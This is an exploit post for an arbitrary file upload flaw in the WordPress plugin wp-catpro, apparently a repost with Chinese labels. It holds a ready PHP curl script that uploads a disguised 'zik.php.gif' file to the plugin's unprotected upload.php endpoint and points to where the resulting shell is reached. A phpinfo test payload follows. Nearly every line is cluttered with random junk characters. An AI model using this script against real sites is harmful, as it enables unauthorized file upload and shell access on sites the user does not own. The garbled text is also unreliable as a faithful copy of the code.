Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability" L; z* G; P6 _1 H! P% I
#-----------------------------------------------------------------------0 u4 z1 l& \2 E k K7 S% t
) B+ `" B; {7 v, B8 `, @# d% u作者 => Zikou-16
8 _9 n' [! P$ k邮箱 => zikou16x@gmail.com
a0 u0 F" u# h' o测试系统 : Windows 7 , Backtrack 5r3
- D, J* |" a% d1 r( f0 F下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip$ O5 c5 ]: |% T- z$ V# c
####
2 Z8 E- F2 n& r* Z; v* n# g5 Y 6 i: N0 O5 R) ]; b d
#=> Exploit 信息:
( I6 g) T. H' {! w& G' K------------------3 n% e! v! u1 c5 [; J( d; K1 U* C
# 攻击者可以上传 file/shell.php.gif. ?6 v1 P* Z' ?' M& O2 o
# ("jpg", "gif", "png") // Allowed file extensions6 K# d6 Z& k+ ]. t) \9 T
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)$ q, `& r& h. }& K% Q) V
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)) `" ~; w; V5 t* V8 q
------------------6 C+ ^0 X" o: M
: Y$ K' |( C9 z7 M- |3 C$ F
#=> Exploit
1 Y. S: w) V; {" h* M: I-----------
, M9 u, t1 J9 n y7 y<?php3 `3 m" W: ?& i% d- v9 s6 u% w
' m2 X! N% M2 p' E" r* L h% y! a$uploadfile="zik.php.gif";
) v3 _) g. y, r) `0 A; Y5 A$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");' x$ J: ^. |- _# x) F
curl_setopt($ch, CURLOPT_POST, true);
3 @# w/ |- h* k Y6 @7 f3 S% p& Ccurl_setopt($ch, CURLOPT_POSTFIELDS,. ]1 w6 o! _0 e, c: a
array('Filedata'=>"@$uploadfile",
' o6 N% O# v4 `; M9 k) W: R# e( b'folder'=>'/wp-content/uploads/catpro/'));
0 ?3 @1 I2 X/ e8 _curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
& j/ E' `' Y% v8 o$postResult = curl_exec($ch);' h6 y) B1 ?2 }6 O) G0 C0 K
curl_close($ch);
* G' h r7 u, R + i- v- f1 X# [7 P% ]; B
print "$postResult";
" L h, |' f" b0 q# C% Z6 O0 y
& J. _" S. ]6 w+ g& \0 A5 O5 K" U5 | B( RShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif6 M [, t# a1 n. k) ~& W* ?
?>
" M, k% u- y& M% A9 [ W2 T4 u<?php- r( C* @; I' H- F. \
phpinfo();3 T6 i# R8 ^& l/ i4 j' O
?> |